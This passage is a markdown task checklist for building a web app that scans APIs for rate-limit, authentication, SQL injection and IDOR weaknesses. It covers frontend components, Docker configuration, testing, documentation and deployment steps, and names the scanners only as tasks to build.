Configure axios baseURL from API_CONFIG +- [ ] Configure axios timeout +- [ ] Add request interceptor to attach JWT token from localStorage +- [ ] Add response interceptor to handle 401 errors (logout + redirect) +- [ ] Create `frontend/src/lib/queryClient.ts` with TanStack Query setup +- [ ] Configure default query options (refetchOnWindowFocus, retry, staleTime) +- [ ] Create `frontend/src/lib/utils.ts` for helper functions + +### Services - `frontend/src/services/` +- [ ] Create `frontend/src/services/authService.ts` +- [ ] Add login() function to authService (store token in localStorage) +- [ ] Add register() function to authService +- [ ] Add logout() function to authService (remove token + redirect) +- [ ] Add getToken() function to authService +- [ ] Add isAuthenticated() function to authService +- [ ] Create `frontend/src/services/scanService.ts` +- [ ] Add runScan() function to scanService +- [ ] Add getScanHistory() function to scanService +- [ ] Add getScanById() function to scanService + +--- + +## 🪝 FRONTEND - CUSTOM HOOKS + +### Hooks - `frontend/src/hooks/` +- [ ] Create `frontend/src/hooks/useAuth.ts` +- [ ] Add useLogin() hook with useMutation (invalidates queries on success) +- [ ] Add useRegister() hook with useMutation +- [ ] Add useLogout() hook +- [ ] Add useAuth() hook (returns isAuthenticated + logout) +- [ ] Create `frontend/src/hooks/useScan.ts` +- [ ] Add useRunScan() hook with useMutation (invalidates scan history) +- [ ] Add useScanHistory() hook with useQuery +- [ ] Add useScan(scanId) hook with useQuery (enabled when scanId exists) +- [ ] Create `frontend/src/hooks/useLocalStorage.ts` for generic localStorage hook + +--- + +## 🏪 FRONTEND - STATE MANAGEMENT + +### Zustand Store - `frontend/src/store/` +- [ ] Create `frontend/src/store/uiStore.ts` with Zustand store +- [ ] Add theme state (dark/light) to uiStore +- [ ] Add setTheme() action to uiStore +- [ ] Add toggleTheme() action to uiStore +- [ ] Add sidebarOpen state to uiStore +- [ ] Add toggleSidebar() action to uiStore +- [ ] Add isLoading state to uiStore +- [ ] Add setLoading() action to uiStore +- [ ] Implement persist middleware for theme and sidebarOpen + +--- + +## 🎨 FRONTEND - COMMON COMPONENTS + +### Common Components - `frontend/src/components/common/` +- [ ] Create `frontend/src/components/common/Button.tsx` +- [ ] Add Button component with variant prop (primary, secondary, danger, success, ghost) +- [ ] Add size prop to Button (sm, md, lg) +- [ ] Add isLoading prop to Button (shows spinner) +- [ ] Create `frontend/src/styles/components/Button.css` with all variants +- [ ] Create `frontend/src/components/common/Input.tsx` +- [ ] Add Input component with label, error, and all HTML input props +- [ ] Create `frontend/src/styles/components/Input.css` +- [ ] Create `frontend/src/components/common/Card.tsx` +- [ ] Create `frontend/src/styles/components/Card.css` +- [ ] Create `frontend/src/components/common/Badge.tsx` for status/severity badges +- [ ] Create `frontend/src/styles/components/Badge.css` with severity colors +- [ ] Create `frontend/src/components/common/LoadingSpinner.tsx` +- [ ] Create `frontend/src/styles/components/LoadingSpinner.css` + +--- + +## 🏗️ FRONTEND - LAYOUT COMPONENTS + +### Layout - `frontend/src/components/layout/` +- [ ] Create `frontend/src/components/layout/Header.tsx` +- [ ] Add logo/app name to Header +- [ ] Add user email display to Header +- [ ] Add logout button to Header +- [ ] Add theme toggle to Header +- [ ] Create `frontend/src/styles/components/Header.css` +- [ ] Create `frontend/src/components/layout/Sidebar.tsx` +- [ ] Add navigation links to Sidebar (Dashboard, Scan, History) +- [ ] Add active route highlighting to Sidebar +- [ ] Create `frontend/src/styles/components/Sidebar.css` +- [ ] Create `frontend/src/components/layout/Layout.tsx` with Outlet +- [ ] Combine Header + Sidebar + main content area in Layout +- [ ] Create `frontend/src/styles/components/Layout.css` + +--- + +## 🔐 FRONTEND - AUTH COMPONENTS + +### Auth Components - `frontend/src/components/auth/` +- [ ] Create `frontend/src/components/auth/LoginForm.tsx` +- [ ] Add React Hook Form setup with Zod validation to LoginForm +- [ ] Add email field to LoginForm (validated with EmailStr) +- [ ] Add password field to LoginForm (min 8 chars) +- [ ] Add submit button with loading state to LoginForm +- [ ] Add error message display to LoginForm +- [ ] Add "Register" link to LoginForm +- [ ] Create `frontend/src/styles/components/LoginForm.css` +- [ ] Create `frontend/src/components/auth/RegisterForm.tsx` +- [ ] Add React Hook Form setup with Zod validation to RegisterForm +- [ ] Add email and password fields to RegisterForm +- [ ] Add password confirmation field to RegisterForm +- [ ] Add submit button with loading state to RegisterForm +- [ ] Add error message display to RegisterForm +- [ ] Add "Login" link to RegisterForm +- [ ] Create `frontend/src/styles/components/RegisterForm.css` + +--- + +## 🔬 FRONTEND - SCAN COMPONENTS + +### Scan Components - `frontend/src/components/scan/` +- [ ] Create `frontend/src/components/scan/ScanConfigForm.tsx` +- [ ] Add React Hook Form setup with Zod validation to ScanConfigForm +- [ ] Add target_url field to ScanConfigForm (validated as URL) +- [ ] Add auth_token field to ScanConfigForm (optional) +- [ ] Add tests_to_run checkboxes to ScanConfigForm (from SCAN_CONFIG) +- [ ] Add max_requests number input to ScanConfigForm (min/max from config) +- [ ] Add submit button with loading state to ScanConfigForm +- [ ] Add form error handling to ScanConfigForm +- [ ] Create `frontend/src/styles/components/ScanConfigForm.css` +- [ ] Create `frontend/src/components/scan/ScanResults.tsx` +- [ ] Add results summary header to ScanResults (total tests, vulnerabilities found) +- [ ] Add results grid to ScanResults (maps over results array) +- [ ] Add export button to ScanResults +- [ ] Create `frontend/src/styles/components/ScanResults.css` +- [ ] Create `frontend/src/components/scan/ResultCard.tsx` +- [ ] Add test name header to ResultCard +- [ ] Add status badge to ResultCard (uses SEVERITY_CONFIG for colors/icons) +- [ ] Add details section to ResultCard +- [ ] Add evidence section to ResultCard (formatted JSON) +- [ ] Add recommendations list to ResultCard +- [ ] Add conditional styling for vulnerable vs safe in ResultCard +- [ ] Create `frontend/src/styles/components/ResultCard.css` +- [ ] Create `frontend/src/components/scan/ScanHistory.tsx` +- [ ] Add table/list view to ScanHistory +- [ ] Add date, target URL, vulnerabilities count to each history item +- [ ] Add "View Details" button to each history item +- [ ] Create `frontend/src/styles/components/ScanHistory.css` + +--- + +## 📄 FRONTEND - PAGES + +### Pages - `frontend/src/pages/` +- [ ] Create `frontend/src/pages/LoginPage.tsx` +- [ ] Add LoginForm component to LoginPage +- [ ] Add page title and description to LoginPage +- [ ] Create `frontend/src/styles/pages/LoginPage.css` +- [ ] Create `frontend/src/pages/RegisterPage.tsx` +- [ ] Add RegisterForm component to RegisterPage +- [ ] Add page title and description to RegisterPage +- [ ] Create `frontend/src/styles/pages/RegisterPage.css` +- [ ] Create `frontend/src/pages/DashboardPage.tsx` +- [ ] Add welcome message to DashboardPage +- [ ] Add quick stats (total scans, recent vulnerabilities) to DashboardPage +- [ ] Add recent scan results to DashboardPage +- [ ] Create `frontend/src/styles/pages/DashboardPage.css` +- [ ] Create `frontend/src/pages/ScanPage.tsx` +- [ ] Add ScanConfigForm to ScanPage +- [ ] Add ScanResults display to ScanPage (conditional on scan completion) +- [ ] Create `frontend/src/styles/pages/ScanPage.css` +- [ ] Create `frontend/src/pages/HistoryPage.tsx` +- [ ] Add ScanHistory component to HistoryPage +- [ ] Add pagination to HistoryPage +- [ ] Create `frontend/src/styles/pages/HistoryPage.css` + +--- + +## 🎯 FRONTEND - APP SETUP + +### Main App Files +- [ ] Create `frontend/src/App.tsx` with React Router setup +- [ ] Add Routes for /login, /register to App.tsx +- [ ] Add ProtectedRoute wrapper component to App.tsx +- [ ] Add Routes for /, /scan, /history (all protected) to App.tsx +- [ ] Add Layout wrapper for protected routes in App.tsx +- [ ] Create `frontend/src/main.tsx` entry point +- [ ] Add QueryClientProvider to main.tsx +- [ ] Add BrowserRouter to main.tsx +- [ ] Import theme.css in main.tsx +- [ ] Import index.css in main.tsx +- [ ] Create `frontend/src/styles/index.css` with global styles +- [ ] Add CSS reset/normalize to index.css +- [ ] Add global font families to index.css +- [ ] Add global box-sizing to index.css +- [ ] Update `frontend/index.html` with app title and meta tags + +--- + +## 🐳 DOCKER CONFIGURATION + +### Docker Files - `/conf/` +- [ ] Create `conf/Dockerfile.backend` +- [ ] Add Python 3.11-slim base image to Dockerfile.backend +- [ ] Add WORKDIR /app to Dockerfile.backend +- [ ] Add requirements.txt COPY and pip install to Dockerfile.backend +- [ ] Add application code COPY to Dockerfile.backend +- [ ] Add EXPOSE 8000 to Dockerfile.backend +- [ ] Add CMD with uvicorn to Dockerfile.backend +- [ ] Create `conf/Dockerfile.frontend` +- [ ] Add Node 20-alpine base image to Dockerfile.frontend +- [ ] Add WORKDIR /app to Dockerfile.frontend +- [ ] Add package.json COPY and npm ci to Dockerfile.frontend +- [ ] Add application code COPY to Dockerfile.frontend +- [ ] Add EXPOSE 5173 to Dockerfile.frontend +- [ ] Add CMD with npm run dev to Dockerfile.frontend +- [ ] Create `conf/nginx.conf` +- [ ] Add events block with worker_connections to nginx.conf +- [ ] Add upstream backend block to nginx.conf +- [ ] Add upstream frontend block to nginx.conf +- [ ] Add server block listening on port 80 to nginx.conf +- [ ] Add location / proxy to frontend in nginx.conf +- [ ] Add location /api proxy to backend in nginx.conf +- [ ] Add WebSocket upgrade headers to nginx.conf + +### Docker Compose +- [ ] Create `docker-compose.yml` at project root +- [ ] Add PostgreSQL 16-alpine service to docker-compose.yml +- [ ] Configure postgres environment variables (user, password, db) +- [ ] Add postgres port mapping 5432:5432 +- [ ] Add postgres volume for data persistence +- [ ] Add postgres healthcheck +- [ ] Add backend service to docker-compose.yml +- [ ] Configure backend build context and Dockerfile path +- [ ] Add backend environment variables (DATABASE_URL, SECRET_KEY, DEBUG) +- [ ] Add backend port mapping 8000:8000 +- [ ] Add backend depends_on db with health condition +- [ ] Add backend volume for hot reload +- [ ] Add backend command with --reload flag +- [ ] Add frontend service to docker-compose.yml +- [ ] Configure frontend build context and Dockerfile path +- [ ] Add frontend environment variable VITE_API_URL +- [ ] Add frontend port mapping 5173:5173 +- [ ] Add frontend volumes (code + node_modules) +- [ ] Add frontend command with --host flag +- [ ] Add nginx service to docker-compose.yml (production profile) +- [ ] Configure nginx port 80:80 +- [ ] Add nginx volume for config file +- [ ] Add nginx depends_on backend and frontend +- [ ] Define postgres_data volume at bottom of docker-compose.yml + +### Environment Configuration +- [ ] Create `.env` file at project root (copy from .env.example) +- [ ] Set SECRET_KEY in .env (generate random key) +- [ ] Set DEBUG=true for development in .env +- [ ] Set DATABASE_URL in .env +- [ ] Create `frontend/.env` file +- [ ] Set VITE_API_URL=http://localhost:8000 in frontend/.env + +--- + +## 🧪 TESTING + +### Backend Testing +- [ ] Create `backend/tests/__init__.py` +- [ ] Create `backend/tests/conftest.py` with pytest fixtures +- [ ] Add test database fixture to conftest.py +- [ ] Add test client fixture to conftest.py +- [ ] Create `backend/tests/test_auth_service.py` +- [ ] Add test for user registration in test_auth_service.py +- [ ] Add test for user login in test_auth_service.py +- [ ] Add test for duplicate email in test_auth_service.py +- [ ] Create `backend/tests/test_scan_service.py` +- [ ] Add test for successful scan in test_scan_service.py +- [ ] Add test for concurrent scanner execution in test_scan_service.py +- [ ] Create `backend/tests/test_scanners/` directory +- [ ] Add test for rate limit scanner +- [ ] Add test for auth scanner +- [ ] Add test for SQLi scanner +- [ ] Add test for IDOR scanner +- [ ] Create `backend/tests/test_routes/` directory +- [ ] Add test for auth endpoints +- [ ] Add test for scan endpoints + +### Frontend Testing +- [ ] Install vitest, @testing-library/react, @testing-library/user-event +- [ ] Create `frontend/vitest.config.ts` +- [ ] Create `frontend/src/tests/setup.ts` with testing setup +- [ ] Create `frontend/src/components/__tests__/` directory +- [ ] Add Button component tests +- [ ] Add Input component tests +- [ ] Add LoginForm tests +- [ ] Add ScanConfigForm tests +- [ ] Create `frontend/src/hooks/__tests__/` directory +- [ ] Add useAuth hook tests +- [ ] Add useScan hook tests + +--- + +## 📚 DOCUMENTATION + +### README Files +- [ ] Create comprehensive root `README.md` +- [ ] Add project overview to README +- [ ] Add features list to README +- [ ] Add tech stack to README +- [ ] Add quick start guide to README +- [ ] Add Docker setup instructions to README +- [ ] Add local development setup to README +- [ ] Add API documentation link to README +- [ ] Add contribution guidelines to README +- [ ] Add license to README +- [ ] Create `backend/README.md` with backend-specific docs +- [ ] Create `frontend/README.md` with frontend-specific docs + +### Code Documentation +- [ ] Add docstrings to all backend functions/classes +- [ ] Add JSDoc comments to all frontend functions/components +- [ ] Add inline comments for complex logic in backend +- [ ] Add inline comments for complex logic in frontend + +### API Documentation +- [ ] Verify FastAPI auto-generated docs at /api/docs work +- [ ] Verify ReDoc at /api/redoc works +- [ ] Create Postman/Insomnia collection for API testing (optional) + +--- + +## 🚀 DEPLOYMENT PREPARATION + +### Production Configuration +- [ ] Create production `.env.example` with secure defaults +- [ ] Add HTTPS configuration to nginx.conf (commented out) +- [ ] Add Gunicorn configuration for backend +- [ ] Add production build script to frontend package.json +- [ ] Create production docker-compose.prod.yml +- [ ] Add health check endpoints to backend +- [ ] Add frontend build optimization in vite.config.ts + +### Security Hardening +- [ ] Add rate limiting to FastAPI backend +- [ ] Add CORS whitelist for production +- [ ] Add CSP headers to nginx +- [ ] Add security headers to nginx (X-Frame-Options, etc.) +- [ ] Add input sanitization to frontend +- [ ] Verify JWT expiration works correctly +- [ ] Verify password hashing uses bcrypt + +--- + +## ✅ FINAL CHECKS + +### Code Quality +- [ ] Run pylint/ruff on backend code +- [ ] Run ESLint on frontend code +- [ ] Run Prettier on frontend code +- [ ] Format backend code with yapf/black +- [ ] Check all type hints in backend +- [ ] Check all TypeScript types in frontend +- [ ] Verify no `any` types in frontend +- [ ] Verify no magic numbers/strings in backend +- [ ] Verify no magic numbers/strings in frontend + +### Functionality Testing +- [ ] Test user registration flow end-to-end +- [ ] Test user login flow end-to-end +- [ ] Test JWT token expiration and refresh +- [ ] Test rate limit scanner against test API +- [ ] Test auth scanner against test API +- [ ] Test SQLi scanner against test API +- [ ] Test IDOR scanner against test API +- [ ] Test scan history retrieval +- [ ] Test scan results display +- [ ] Test export functionality (if implemented) +- [ ] Test responsive design on mobile +- [ ] Test responsive design on tablet +- [ ] Test responsive design on desktop + +### Performance +- [ ] Check backend API response times +- [ ] Check frontend initial load time +- [ ] Verify lazy loading works for routes +- [ ] Verify TanStack Query caching works +- [ ] Check database query performance +- [ ] Add indexes to database tables if needed + +### Git & GitHub +- [ ] Initialize git repository +- [ ] Create `.gitignore` (node_modules, .env, __pycache__, etc.) +- [ ] Make initial commit +- [ ] Create GitHub repository +- [ ] Push to GitHub +- [ ] Add repository description +- [ ] Add repository topics/tags +- [ ] Create LICENSE file +- [ ] Add screenshots to README +- [ ] Add demo GIF/video to README + +--- + +## 📊 PROJECT METRICS + +**Total Tasks:** 390+ +**Estimated Time:** 8-12 hours +**Completed:** 0% + +--- + +## 🎯 PRIORITY ORDER (What to Build First) + +1. **Backend Foundation** (config, core, models, schemas) +2. **Backend Repositories & Services** (data + business logic) +3. **Backend Routes** (API endpoints) +4. **One Scanner** (rate limit - simplest) +5. **Frontend Foundation** (config, types, services) +6. **Frontend Auth** (login/register pages) +7. **Frontend Scan Page** (form + results) +8. **Remaining Scanners** (auth, SQLi, IDOR) +9. **Docker Setup** (get everything running together) +10. **Testing & Polish** (tests, docs, final touches) + +--- + +**Last Updated:** 2025-11-08 +**Current Phase:** Setup